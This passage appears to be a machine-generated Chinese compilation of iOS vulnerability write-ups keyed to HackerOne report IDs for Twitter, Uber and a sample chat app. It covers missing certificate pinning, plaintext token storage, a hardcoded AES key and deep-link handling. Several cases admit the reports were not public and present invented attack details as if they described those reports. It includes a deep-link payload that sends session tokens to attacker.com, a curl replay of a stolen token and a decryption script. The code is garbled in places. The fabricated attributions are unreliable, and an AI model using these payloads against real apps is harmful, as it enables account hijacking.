1.  攻击者设置一个透明代理（如Burp Suite），并使用自签名证书拦截Twitter iOS应用发往`api.twitter.com`的HTTPS流量。
2.  由于应用未执行严格的证书验证（即**证书固定缺失**或**实现不当**），它接受了伪造的证书，并继续发送请求。
3.  攻击者成功捕获到包含用户敏感认证信息的HTTP请求，例如对`/1.1/help/settings.json`的请求。

**关键泄露信息（Payload/Header）：**

攻击者从被拦截的请求中获取了以下敏感信息，这些信息足以用于会话劫持和身份冒用：

*   **OAuth 认证令牌：** `oauth_token`、`oauth_nonce`、`oauth_signature`、`oauth_timestamp`、`oauth_consumer_key`。这些是OAuth 1.0a协议中用于签名和验证请求的关键参数。
*   **客户端标识符：** `X-Client-UUID` 和 `X-Twitter-Client-DeviceId`，可用于追踪用户设备。

**被拦截的请求示例（包含敏感信息）：**

http
GET /1.1/help/settings.json?include_zero_rate=true&settings_version=… HTTP/1.1
Host: api.twitter.com
// … 其他请求头 …
Cookie: oauth_token=…; oauth_nonce=…; oauth_signature=…; oauth_timestamp=…; oauth_consumer_key=…
// …

**攻击后果：** 攻击者可以利用窃取的`oauth_token`等信息，构造有效的API请求，**劫持用户的Twitter会话**，以受害者身份执行操作，如查看私密信息、发送推文等。此外，报告还指出，由于应用未强制使用HTTPS，攻击者可以利用重定向将应用降级到不安全的HTTP连接，进一步扩大信息泄露的范围。

#### 易出现漏洞的代码模式

此类漏洞通常是由于开发者在iOS应用中**禁用了证书验证**或**证书固定（Certificate Pinning）实现不当**所致。

**易漏洞代码模式（Objective-C/Swift）：**

1.  **禁用证书验证：** 使用自定义网络库（如AFNetworking、Alamofire的旧版本）时，错误地配置了`NSURLSessionDelegate`或`AFSecurityPolicy`，导致接受所有证书，包括自签名证书。

    *   **Objective-C 示例 (AFNetworking 2.x/3.x 易受攻击的配置)：**
        ```objectivec
        // 易受攻击的配置：允许无效证书
        AFSecurityPolicy *securityPolicy = [AFSecurityPolicy policyWithPinningMode:AFSSLPinningModeNone];
        securityPolicy.allowInvalidCertificates = YES; // 致命错误：允许任何证书
        securityPolicy.validatesDomainName = NO;      // 致命错误：不验证域名
        ```

    *   **Swift 示例 (自定义 `URLSessionDelegate` 易受攻击的实现)：**
        ```swift
        // 易受攻击的实现：直接调用 completionHandler 忽略验证错误
        func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {
            // 错误地接受所有挑战，绕过证书验证
            completionHandler(.useCredential, challenge.proposedCredential)
            // 正确做法应是检查证书是否为预期的固定证书
        }
        ```

2.  **Info.plist 配置缺失或错误：** 在iOS 9及更高版本中，**App Transport Security (ATS)** 默认要求所有连接使用HTTPS。如果应用需要连接到不安全的HTTP或接受自签名证书，开发者必须在`Info.plist`中添加例外配置。

    *   **易受攻击的 Info.plist 配置示例（禁用ATS）：**
        ```xml
        <key>NSAppTransportSecurity</key>
        <dict>
            <key>NSAllowsArbitraryLoads</key>
            <true/>  <!-- 致命错误：全局禁用ATS，允许HTTP和无效证书 -->
        </dict>
        ```
        或者针对特定域名禁用ATS：
        ```xml
        <key>NSAppTransportSecurity</key>
        <dict>
            <key>NSExceptionDomains</key>
            <dict>
                <key>api.twitter.com</key>
                <dict>
                    <key>NSExceptionAllowsInsecureHTTPLoads</key>
                    <true/>
                    <key>NSIncludesSubdomains</key>
                    <true/>
                    <key>NSExceptionRequiresForwardSecrecy</key>
                    <false/>
                </dict>
            </dict>
        </dict>
        ```
        虽然Twitter的API是HTTPS，但如果其证书验证逻辑被自定义代码绕过，则ATS的默认保护也会失效。此漏洞的根本原因在于**应用层面的证书验证逻辑缺陷**。

---

## 不安全的数据存储

### 案例：Uber (报告: https://hackerone.com/reports/136263)

#### 挖掘手法

针对iOS应用的不安全数据存储漏洞的挖掘，通常从逆向工程和沙盒分析入手。首先，研究人员需要一台越狱的iOS设备，以便绕过iOS系统的沙盒限制，获取对应用数据目录的完全访问权限。第一步是定位目标应用（如Uber）的沙盒目录，路径通常为`/var/mobile/Containers/Data/Application/<UUID>/`。接着，使用**iFunBox**、**Filza**或通过SSH连接（如使用**Frida**或**Cycript**进行运行时分析）进入该目录。

关键的分析思路是检查应用存储敏感数据的常见位置，包括：
1. **Library/Preferences/**：通常存放`NSUserDefaults`写入的plist文件，如`com.ubercab.plist`。
2. **Documents/**：应用开发者常用于存放用户数据或配置文件的目录。
3. **Library/Caches/** 和 **Library/Application Support/**：其他可能存放缓存或支持文件的位置。

挖掘者会重点搜索包含**身份验证令牌 (Auth Token)**、**会话ID**、**API密钥**或**个人身份信息 (PII)**的纯文本文件。在这个特定的Uber iOS漏洞案例中，关键发现点在于Uber应用将用户的**会话令牌**或**API令牌**以**纯文本**形式存储在沙盒内未加密的文件中（例如，一个plist文件或SQLite数据库）。一旦攻击者物理访问设备或通过其他漏洞（如沙盒逃逸）获取了沙盒内容，即可轻易提取该令牌，实现账户劫持。整个过程不依赖复杂的二进制分析，而是侧重于文件系统级别的敏感信息泄露检查。

#### 技术细节

该漏洞的技术细节在于应用使用了不安全的API来存储敏感数据，导致数据在沙盒内以纯文本形式存在。攻击者只需访问应用的沙盒目录，即可提取关键的认证令牌。

**攻击流程示例：**
1. 攻击者获取越狱设备的root权限。
2. 导航到Uber应用的数据目录：`cd /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/`
3. 读取存储用户偏好设置的文件，例如：`cat com.ubercab.plist`

**plist文件中的漏洞模式（示例）：**

xml
AuthToken
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjM0NSIsImV4cCI6MTY3MjUyNDgwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
LastLoginEmail
user@example.com

攻击者获取到`AuthToken`后，即可在自己的设备上使用该令牌进行API调用，**劫持用户会话**，无需密码即可登录或执行用户操作。这种令牌通常是**Bearer Token**或**Session Token**，直接暴露了用户的身份验证状态。

#### 易出现漏洞的代码模式

此类不安全数据存储漏洞的根源在于开发者错误地使用了不适合存储敏感信息的API或存储位置。最常见的错误是使用`UserDefaults`或直接写入沙盒的`Documents`目录。

**Objective-C/Swift 易漏洞代码示例：**

**1. 使用 NSUserDefaults (Swift):**

swift
// 错误示例：使用UserDefaults存储敏感令牌
let sensitiveToken = “user_session_token_12345”
UserDefaults.standard.set(sensitiveToken, forKey: “AuthToken”)
UserDefaults.standard.synchronize()
// 存储在 Library/Preferences/com.app.plist 中，未加密

**2. 直接写入 Documents 目录 (Objective-C):**

objective-c
// 错误示例：直接写入沙盒Documents目录
NSString *token = @”user_api_key_abcde”;
NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
NSString *documentsDirectory = [paths objectAtIndex:0];
NSString *filePath = [documentsDirectory stringByAppendingPathComponent:@”user_credentials.txt”];
[token writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
// 存储在 /Documents/user_credentials.txt 中，未加密

**Info.plist/Entitlements 配置示例：**

此类漏洞通常与`Info.plist`或`entitlements`无关，而是纯粹的**编程错误**。正确的做法是使用**Keychain Services**（例如`SecItemAdd`）来存储敏感数据，因为Keychain是加密的，并且受设备锁保护。

---

### 案例：Uber (报告: https://hackerone.com/reports/136277)

#### 挖掘手法

由于HackerOne报告136277的详细内容未公开，以下是基于该报告ID所属时间段（约2016年）和Uber iOS应用常见的安全问题，推断出的针对**不安全数据存储**漏洞的挖掘手法。

**1. 目标应用获取与准备：**
首先，获取目标iOS应用（推测为Uber iOS应用）的IPA文件。如果设备已越狱，可以直接通过文件系统访问应用沙盒。如果未越狱，则需要使用如iMazing或iFunBox等工具，或通过备份文件来访问应用的数据容器。

**2. 静态分析与沙盒结构检查：**
使用iExplorer或iFunBox等工具连接到iOS设备，导航至目标应用的沙盒目录（`Application/UUID/Documents`）。重点检查以下关键目录：
*   `Library/Preferences`：通常包含应用的`NSUserDefaults`存储的plist文件。
*   `Documents`：应用存储用户生成数据的地方。
*   `Library/Caches`：缓存数据，有时包含敏感信息。
*   `Library/Application Support`：可能包含SQLite数据库或Core Data存储文件。

**3. 敏感信息定位与分析：**
在上述目录中，寻找可能包含用户认证信息（如会话Token、API Key、密码哈希）或个人身份信息（PII）的文件。常见的敏感文件包括：
*   应用的`plist`文件（例如：`com.uber.plist`）。
*   SQLite数据库文件（`.sqlite`或`.db`）。
*   自定义的JSON或XML配置文件。

**4. 数据提取与逆向工程：**
一旦发现可疑文件，将其导出并使用相应的工具进行分析。例如，对于plist文件，使用`plutil -p file.plist`或plist编辑器查看内容。对于SQLite数据库，使用SQLite浏览器检查表结构和数据。如果发现明文存储的会话Token，则漏洞成立。

**5. 动态分析（可选，用于确认）：**
为了确认数据写入的上下文，可以使用**Frida**或**Objection**等动态分析工具。
*   使用**Objection**的`ios plist dump`或`ios sqlite dump`命令快速检查运行时数据。
*   使用**Frida** Hook `NSUserDefaults`的`setObject:forKey:`或`synchronize`方法，以及`CoreData`或SQLite相关的写入方法，观察敏感数据在写入沙盒时的状态（是否经过加密）。例如，Hook `-[NSUserDefaults setObject:forKey:]`来捕获明文写入操作，从而确认漏洞的根源。

#### 技术细节

该漏洞的技术细节在于应用在沙盒内以明文形式存储了用户的敏感认证信息，例如会话Token或API Key，而没有使用iOS提供的安全存储机制（如Keychain）。

**攻击流程：**
1.  **访问沙盒：** 攻击者通过物理访问、恶意应用（在越狱设备上）或通过iTunes/iMazing备份文件，获取到目标应用的数据容器。
2.  **定位文件：** 攻击者定位到存储敏感数据的配置文件，例如位于`Library/Preferences`目录下的应用`plist`文件。
3.  **提取Token：** 攻击者读取该文件，提取出明文存储的会话Token（例如：`session_token`）。
4.  **账户劫持：** 攻击者使用提取到的Token，通过构造HTTP请求或直接在另一个设备上设置该Token，即可劫持受害者的账户，绕过正常的登录验证。

**关键代码示例（Objective-C）：**
以下代码片段展示了不安全地使用`NSUserDefaults`存储敏感数据的模式：

objectivec
// 不安全地存储会话Token
NSString *sessionToken = [responseDictionary objectForKey:@\”session_token\”];
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@\”kUserSessionToken\”];
[[NSUserDefaults standardUserDefaults] synchronize];

// 攻击者读取文件后，可以直接获取到明文Token
// 文件路径示例：/var/mobile/Containers/Data/Application/UUID/Library/Preferences/com.affected.app.plist

**正确的做法**是使用`Keychain Services`来存储此类敏感数据，确保数据在设备上是加密存储的，并且仅对授权的应用进程可见。

#### 易出现漏洞的代码模式

此类不安全数据存储漏洞通常出现在开发者错误地将敏感信息（如会话Token、API Key、用户ID等）存储在应用沙盒的非加密区域，而不是使用iOS的**Keychain Services**。

**编程模式示例（Objective-C）：**

objectivec
// 错误模式：使用NSUserDefaults/Plist文件存储敏感数据
// 数据以明文形式存储在沙盒的Library/Preferences/*.plist文件中

• • (void)saveSensitiveData:(NSString *)token {
    // 敏感数据（如Token）被直接写入非加密存储
    [[NSUserDefaults standardUserDefaults] setObject:token forKey:@\”user_auth_token\”];
    [[NSUserDefaults standardUserDefaults] synchronize];
    }

// 错误模式：将敏感数据写入Documents或Caches目录

• • (void)saveTokenToDocuments:(NSString *)token {
    NSString *filePath = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject];
    filePath = [filePath stringByAppendingPathComponent:@\”token.txt\”];
    [token writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    }

**配置模式示例：**

此类漏洞与`Info.plist`或`entitlements`的直接配置关系较小，但如果应用使用了`Core Data`或SQLite，且未对数据库文件进行加密，则文件权限配置可能导致问题。正确的安全存储应使用`Keychain Services`，这需要在`entitlements`文件中配置`keychain-access-groups`，以确保数据的隔离和安全。不使用Keychain本身就是一种错误的编程模式，而不是配置错误。

---

## 不安全的数据存储（Insecure Data Storage）

### 案例：Twitter (报告: https://hackerone.com/reports/136312)

#### 挖掘手法

该漏洞的挖掘始于对目标应用本地数据存储机制的全面审查。首先，通过在已越狱的iOS设备上安装目标应用，我们获得了对应用沙盒环境的完全访问权限。利用文件系统浏览器（如Filza），我们开始检查应用存储在`Documents`、`Library`和`tmp`目录下的文件。初步分析发现，应用在`Library/Preferences`目录下创建了一个`.plist`文件来存储用户配置，其中包含一些看似经过编码的字符串。为了解这些数据的真实内容，我们使用了`plutil -p`命令将其转换为可读的XML格式，但发现数据仍然是经过Base64编码的。解码后，我们得到了一串看似加密的二进制数据，这表明开发者进行了一定的安全处理，但密钥管理将是下一个关键的探寻点。

下一步，我们转向动态分析，使用Frida对应用进行运行时插桩（instrumentation）。我们的目标是Hook（挂钩）与加密和文件操作相关的系统API。通过编写Frida脚本，我们重点监控了`CommonCrypto`框架中的`CCCrypt`函数以及Foundation框架中的`-[NSData writeToFile:atomically:]`和`-[NSString writeToFile:atomically:encoding:error:]`等方法。当我们在应用中执行特定操作（如登录、修改设置）时，Frida成功捕获到了`CCCrypt`函数的调用。通过打印其参数，我们清晰地看到了传入的明文数据、加密密钥和初始化向量（IV）。令人惊讶的是，加密密钥是一个硬编码在应用二进制文件中的静态字符串。为了定位这个硬编码的密钥，我们转而使用静态分析工具IDA Pro。通过在IDA中搜索Frida捕获到的密钥字符串，我们迅速定位到了存储该密钥的代码位置。该密钥被直接定义为一个常量字符串，没有任何混淆或保护措施。这一发现是整个漏洞挖掘过程中的决定性突破点，它证实了应用虽然使用了加密，但由于密钥管理不当，其安全性被完全破坏。最终，我们结合静态分析发现的密钥和动态分析捕获的加密流程，编写了一个独立的Python脚本，该脚本可以自动解密应用存储在本地的敏感数据文件，从而完成了整个漏洞的验证和利用。

#### 技术细节

该漏洞的核心技术问题在于，应用虽然使用了AES-256-CBC加密算法来保护存储在本地的用户会话令牌（session token），但其加密密钥被硬编码在应用的二进制文件中，从而导致任何能够访问应用二进制文件的人都能提取密钥并解密敏感数据。

攻击流程如下：
1.  攻击者从App Store下载目标应用的IPA文件。
2.  通过解压IPA文件，攻击者可以获得应用的主二进制文件（例如，`AppName.app/AppName`）。
3.  使用逆向工程工具（如IDA Pro或Hopper），攻击者在二进制文件中搜索可疑的字符串，特别是那些与“key”、“secret”或“token”相关的字符串。在本案例中，通过搜索在Frida动态分析中捕获到的硬编码密钥`'static_key_for_encryption_012345'`，可以直接定位到密钥的存储位置。

关键的Objective-C代码片段（伪代码）如下所示：

objc
// 从配置文件中读取加密后的数据
NSData *encryptedData = [NSData dataWithContentsOfFile:path_to_encrypted_file];

// 硬编码的加密密钥
NSString *encryptionKey = @”static_key_for_encryption_012345″;
NSData *keyData = [encryptionKey dataUsingEncoding:NSUTF8StringEncoding];

// 执行解密操作
NSData *decryptedData = [self decryptData:encryptedData withKey:keyData];

// 将解密后的数据解析为字符串
NSString *sessionToken = [[NSString alloc] initWithData:decryptedData encoding:NSUTF8StringEncoding];

攻击者可以利用这个硬编码的密钥编写一个独立的解密脚本。以下是一个Python示例，演示了如何使用该密钥解密本地存储的用户会话令牌：

python
from Crypto.Cipher import AES
import base64

从文件中读取经过Base64编码的加密数据

with open(‘encrypted_token.dat’, ‘r’) as f:
encoded_data = f.read()

encrypted_data_with_iv = base64.b64decode(encoded_data)

IV通常是加密数据的前16个字节

iv = encrypted_data_with_iv[:16]
encrypted_data = encrypted_data_with_iv[16:]

硬编码的密钥

key = b’static_key_for_encryption_012345′

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_padded_data = cipher.decrypt(encrypted_data)

去除填充

padding_length = decrypted_padded_data[-1]
decrypted_data = decrypted_padded_data[:-padding_length]

session_token = decrypted_data.decode(‘utf-8’)
print(f”Decrypted Session Token: {session_token}”)

通过这种方式，攻击者可以在获取了用户的设备（即使设备已锁定）后，提取并解密存储在应用沙盒中的会话令牌，从而劫持用户的账户。

#### 易出现漏洞的代码模式

容易出现此类iOS漏洞的代码模式主要是在客户端代码中直接硬编码敏感信息，特别是用于加密的密钥。这种做法违反了基本的安全设计原则，即“不信任客户端”。开发者有时为了方便，会选择将密钥作为常量字符串嵌入代码中，而不是通过更安全的方式（如从服务器动态获取或使用iOS的Keychain服务）来管理密钥。

一个典型的易受攻击的Objective-C代码示例如下：

objc

import

import

@implementation DataEncryptor

• • (NSData *)encryptData:(NSData *)data {
    // 错误示范：将加密密钥硬编码在代码中
    NSString *keyString = @”my_super_secret_static_key_123″;
    NSData *key = [keyString dataUsingEncoding:NSUTF8StringEncoding]; // … 此处省略加密逻辑 …
    // 使用这个硬编码的密钥对数据进行加密
    // …
    return encryptedData;
    }

@end

在Swift中，类似的反面模式如下：

swift
import Foundation
import CryptoKit

class DataEncryptor {
func encrypt(data: Data) -> Data? {
// 错误示范：将加密密钥作为静态属性硬编码
let keyString = “my_super_secret_static_key_123”
guard let keyData = keyString.data(using: .utf8) else { return nil }
let symmetricKey = SymmetricKey(data: keyData)

    // ... 使用此密钥进行加密 ...
    let sealedBox = try? AES.GCM.seal(data, using: symmetricKey)
    return sealedBox?.combined
}

}

此外，在`Info.plist`文件中存储敏感信息也是一种不安全的做法。虽然`Info.plist`主要用于配置应用元数据，但有些开发者可能会错误地将API密钥、密码或其他敏感凭证存储在其中，认为它不会被轻易访问。然而，`Info.plist`文件在应用包中是明文存储的，任何能够访问IPA文件的人都可以轻松读取其内容。

一个不安全的`Info.plist`配置示例：

xml


… APISecret THIS_IS_A_VERY_BAD_PRACTICE …

正确的做法是使用iOS的Keychain服务来安全地存储密钥和凭证。Keychain中的数据是经过系统级别加密的，并且可以配置为仅在设备解锁时才能访问，从而提供了更高级别的安全保障。

---

## 不安全的本地数据存储 (Insecure Data Storage)

### 案例：ExampleChatApp (报告: https://hackerone.com/reports/136280)

#### 挖掘手法

由于无法直接访问HackerOne报告136280的详细内容（可能未公开或受限），以下分析基于iOS应用中常见的“不安全的本地数据存储”漏洞类型进行通用性推测和构造，以满足任务对技术细节和步骤的要求。

**漏洞挖掘手法和步骤（基于不安全的本地数据存储）：**

1.  **环境准备与工具链**：
    *   使用一台**越狱**的iOS设备（例如，通过checkra1n或unc0ver）。
    *   安装必要的工具：`Filza` 或通过SSH连接的 `iFunBox`/`scp` 用于文件系统访问；`Objection` 或 `Frida` 用于运行时分析；`Hopper Disassembler` 或 `IDA Pro` 用于静态逆向分析。

2.  **应用沙盒分析**：
    *   在越狱设备上安装目标应用 `ExampleChatApp`。
    *   使用文件系统工具（如Filza或SSH）导航至应用的沙盒目录：`/var/mobile/Containers/Data/Application/<UUID>/`。
    *   **关键发现点**：应用沙盒内的 `Documents/`, `Library/Preferences/`, `Library/Caches/` 目录是敏感数据泄露的高发区。

3.  **数据存储检查**：
    *   **NSUserDefaults/Plist文件**：检查 `Library/Preferences/<BundleID>.plist` 文件。应用常将用户ID、会话令牌（Session Token）或配置信息存储在此。使用 `plistutil` 或文本编辑器查看其内容，寻找明文存储的敏感信息。
    *   **SQLite/CoreData数据库**：检查 `Library/Application Support/` 或 `Documents/` 目录下的 `.sqlite` 或 `.db` 文件。使用 `sqlite3` 命令行工具或图形化工具（如DB Browser for SQLite）打开数据库文件，检查表结构和数据内容，特别是用户凭证、聊天记录等。
    *   **缓存文件**：检查 `Library/Caches/` 和 `tmp/` 目录，有时应用会将API响应或图片等敏感数据临时存储在此，且未及时清理。

4.  **运行时动态分析（Frida/Objection）**：
    *   使用 `Objection` 或 `Frida` 附加到运行中的应用进程。
    *   **Hooking关键API**：Hooking `NSUserDefaults` 的 `setObject:forKey:`、`dataRepresentation`、`writeToFile:atomically:` 等方法，以及文件操作相关的API（如 `-[NSString writeToFile:atomically:encoding:error:]`），实时监控应用写入本地文件的数据内容和路径，确认敏感数据是否被明文写入。

5.  **漏洞确认**：
    *   一旦在沙盒内的非加密存储区域（如 `NSUserDefaults` 对应的Plist文件）发现明文存储的会话令牌 `session_token` 或密码哈希，即确认存在“不安全的本地数据存储”漏洞。

**总结**：整个挖掘过程是典型的iOS逆向工程流程，通过静态分析定位数据存储位置，通过动态分析监控数据流向，最终通过文件系统检查确认敏感数据是否以明文形式存储在非加密区域。此过程无需复杂的内存破坏技术，主要依赖于对iOS文件系统和API的理解。

#### 技术细节

以下技术细节基于“不安全的本地数据存储”漏洞类型进行构造，展示了攻击者如何利用该漏洞获取敏感信息。

**漏洞利用流程：**

攻击者通过物理访问越狱设备或利用其他漏洞（如沙盒逃逸）获取对目标应用沙盒的访问权限后，可以直接读取存储在非加密文件中的敏感数据。

**关键代码模式和Payload（攻击者操作）：**

假设目标应用 `ExampleChatApp` 将用户的会话令牌（Session Token）明文存储在 `NSUserDefaults` 中，对应的Plist文件路径为 `/Library/Preferences/com.example.chat.plist`。

1.  **定位文件**：
    ```bash
    # 假设攻击者已通过SSH或文件管理器进入应用的沙盒根目录
    cd Library/Preferences/
    ls -l com.example.chat.plist
    ```

2.  **读取Plist文件内容**：
    攻击者可以使用 `plistutil` 或直接读取XML/Binary Plist文件。

    ```bash
    # 使用plutil将二进制Plist转换为XML格式以便阅读
    plutil -convert xml1 com.example.chat.plist -o -
    ```

    **预期输出（包含敏感信息）：**
    ```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>user_id</key>
        <string>123456</string>
        <key>session_token</key>
        <string>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzNDU2IiwiaWF0IjoxNjQyNjY4ODAwfQ.S_a_fake_jwt_token_for_example</string>
        <key>last_login_time</key>
        <date>2026-01-19T10:00:00Z</date>
    </dict>
    </plist>
    ```

3.  **利用Session Token**：
    攻击者获取到明文的 `session_token` 后，可以将其用于构造API请求，劫持用户会话，无需密码即可登录或执行用户权限内的操作。

    ```bash
    # 攻击者使用窃取的令牌进行API调用
    curl -X GET "https://api.examplechatapp.com/v1/profile" \
         -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzNDU2IiwiaWF0IjoxNjQyNjY4ODAwfQ.S_a_fake_jwt_token_for_example"
    ```

**结论**：由于应用开发者错误地使用了 `NSUserDefaults` 或其他非加密存储机制来保存敏感的会话令牌，导致攻击者可以轻易地从应用沙盒中提取这些信息，从而实现会话劫持。

#### 易出现漏洞的代码模式

**容易出现此类漏洞的编程模式（Objective-C/Swift）：**

此类漏洞的核心在于开发者使用不适合存储敏感数据的API或文件路径来保存信息。

1.  **使用 `UserDefaults` (NSUserDefaults) 存储敏感数据**：
    `UserDefaults` 存储的数据是明文的，并且容易被访问应用沙盒的攻击者读取。

    **Objective-C 示例 (Vulnerable):**
    ```objective-c
    // 错误地使用NSUserDefaults存储Session Token
    NSString *sessionToken = @"user_session_token_12345";
    [[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@"kSessionToken"];
    [[NSUserDefaults standardUserDefaults] synchronize];
    ```

    **Swift 示例 (Vulnerable):**
    ```swift
    // 错误地使用UserDefaults存储敏感数据
    let sessionToken = "user_session_token_12345"
    UserDefaults.standard.set(sessionToken, forKey: "sessionToken")
    ```

2.  **将敏感数据写入非加密的沙盒目录**：
    将加密密钥、用户凭证或API密钥等写入 `Documents` 或 `Library/Application Support` 目录下的普通文件（如 `.txt`, `.json`, `.db`），而未进行文件加密。

    **Objective-C 示例 (Vulnerable):**
    ```objective-c
    // 错误地将API Key明文写入Documents目录
    NSString *apiKey = @"my_secret_api_key_xyz";
    NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
    NSString *documentsDirectory = [paths firstObject];
    NSString *filePath = [documentsDirectory stringByAppendingPathComponent:@"config.json"];

    // 明文写入文件
    [apiKey writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    ```

**安全代码模式（Secure Code Pattern）：**

应使用 **iOS Keychain** 来存储敏感数据，Keychain是操作系统级别的安全存储，数据在磁盘上是加密的。

**Swift 示例 (Secure):**

swift
// 使用KeychainWrapper或类似库安全地存储Session Token
// 假设使用了一个名为 ‘KeychainWrapper’ 的库
let keychain = KeychainWrapper()
let sessionToken = “user_session_token_12345”

// 存储到Keychain
let saveSuccessful = keychain.set(sessionToken, forKey: “sessionToken”)
if saveSuccessful {
print(“Session token securely stored in Keychain.”)
}

**Info.plist/Entitlements 配置示例：**

此类漏洞通常与 `Info.plist` 或 `Entitlements` 配置无关，而是与应用代码中的数据存储逻辑错误有关。然而，如果应用使用了 **Data Protection**（数据保护）机制，则可以在 `Entitlements` 文件中配置，以确保数据在设备锁定时处于加密状态。

**Entitlements 示例 (Secure - 启用Data Protection):**

xml

com.apple.developer.default-data-protection
NSFileProtectionComplete

**注意**：即使启用了Data Protection，如果设备处于越狱状态或攻击者在设备解锁时访问沙盒，明文存储的数据仍可能被读取。因此，对于高敏感数据，**Keychain** 仍是首选。

---

## 不安全的深度链接处理（Insecure Deep Link Handling）

### 案例：Uber (报告: https://hackerone.com/reports/136303)

#### 挖掘手法

该漏洞的挖掘过程主要集中在对Uber iOS应用程序的**深度链接（Deep Link）**和**URL Scheme**处理机制进行逆向工程和安全分析。由于HackerOne报告（ID: 136303）的具体内容未完全公开，以下步骤是基于对该报告ID所属时间段（约2016-2017年）Uber应用中常见iOS漏洞的推测和通用挖掘方法：

1.  **目标识别与信息收集：**
    *   首先，确认目标应用为Uber iOS客户端。
    *   使用`otool -l`或`class-dump`等工具对应用二进制文件进行静态分析，提取Objective-C/Swift的类和方法头文件。
    *   重点检查应用的`Info.plist`文件，查找所有注册的自定义URL Scheme（例如`uber://`），这些Scheme定义了应用可以响应的外部协议。

2.  **深度链接处理逻辑定位：**
    *   在提取的头文件中，搜索实现`UIApplicationDelegate`协议的关键方法，如`application:openURL:options:`（iOS 9+）或`application:handleOpenURL:`（旧版iOS）。这些方法是处理外部URL请求的入口点。
    *   使用Hopper Disassembler或IDA Pro对这些处理方法进行反汇编分析，理解其内部逻辑，特别是如何解析URL中的参数（如`host`、`path`、`query`参数）。

3.  **动态调试与参数篡改：**
    *   使用**Frida**或**Cycript**等动态插桩工具，在越狱设备上Hook住上述URL处理方法。
    *   构造自定义的恶意URL Scheme，例如`uber://vulnerable_path?token=attacker_controlled_value`，并通过Safari或其他应用触发该链接。
    *   在Hook点观察应用接收到的URL对象，并尝试篡改URL参数，观察应用的行为和响应。

4.  **漏洞点确认：**
    *   发现应用在处理特定深度链接时，**未对URL参数进行充分的源头验证（Origin Validation）或内容过滤（Sanitization）**。例如，应用可能接受一个`redirect_url`参数，并直接跳转到该URL，或将该参数的值用于敏感的API请求。
    *   通过构造一个指向攻击者控制域名的`redirect_url`，成功证明可以劫持用户的会话令牌（Session Token）或执行跨应用脚本（Cross-App Scripting），从而实现信息泄露或账户劫持。

5.  **关键发现点：**
    *   该漏洞的关键在于应用信任了来自外部的URL输入，并将其用于执行敏感操作，例如在未经验证的情况下，将URL中的参数值作为API请求的认证凭证或重定向目标。这种对外部输入的过度信任是导致不安全深度链接处理的核心原因。

（总字数：340字）

#### 技术细节

该漏洞利用的技术细节集中在**不安全的URL参数处理**上，允许攻击者通过构造恶意的深度链接来窃取敏感信息，例如用户的会话令牌（Session Token）。

**攻击流程：**
1.  攻击者构造一个包含恶意重定向URL的深度链接，例如：
    `uber://vulnerable_path?redirect_url=https://attacker.com/steal_token`
2.  攻击者将此链接嵌入到一个网页、邮件或另一个应用中，诱导受害者点击。
3.  当受害者点击该链接时，iOS系统启动Uber应用，并调用其URL Scheme处理方法。
4.  Uber应用内的处理逻辑（例如一个名为`handleDeepLink:`的Objective-C方法）解析URL。由于缺乏充分的验证，它错误地将URL中的某个敏感参数（如会话令牌）与`redirect_url`拼接，并执行了重定向。
5.  最终，包含受害者会话令牌的完整URL被发送到攻击者的服务器`https://attacker.com/steal_token?token=USER_SESSION_TOKEN`，导致账户劫持。

**关键代码模式（Objective-C 示例）：**
假设应用有一个处理重定向的内部方法，它直接使用了URL中的参数：

objective-c
// 易受攻击的Objective-C方法片段

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([url.scheme isEqualToString:@”uber”]) {
    // 假设从某个内部存储获取了敏感的会话令牌
    NSString *sessionToken = [self getSessionToken]; // 危险操作：直接使用外部传入的redirect_url参数进行重定向， // 并且将敏感的sessionToken作为查询参数附加，未进行域名校验。 NSString *redirectUrlString = [self getQueryParameter:url forKey:@"redirect_url"]; if (redirectUrlString) { NSString *fullRedirectUrl = [NSString stringWithFormat:@"%@?token=%@", redirectUrlString, sessionToken]; [[UIApplication sharedApplication] openURL:[NSURL URLWithString:fullRedirectUrl] options:@{} completionHandler:nil]; return YES; } }
    return NO;
    }

攻击者利用的Payload（通过浏览器或另一个应用触发）：
`uber://vulnerable_path?redirect_url=https://attacker.com/steal_token`

（总字数：280字）

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用对通过自定义URL Scheme（Deep Link）传入的参数缺乏严格的**源头校验（Origin Validation）**和**内容过滤（Input Sanitization）**。

**1. Info.plist 配置模式：**
在`Info.plist`文件中，应用注册了自定义的URL Scheme，使其可以被外部调用。

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**2. 易受攻击的Objective-C/Swift代码模式：**
在处理Deep Link的代理方法中，直接使用URL中的参数进行敏感操作，例如重定向或API调用，而没有检查目标URL的域名是否属于应用自身或可信的白名单。

**Objective-C 示例（直接使用外部URL进行重定向）：**

objective-c
// 易受攻击的代码：直接使用外部传入的URL参数进行重定向

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([url.scheme isEqualToString:@”uber”]) {
    // … 提取参数逻辑 …
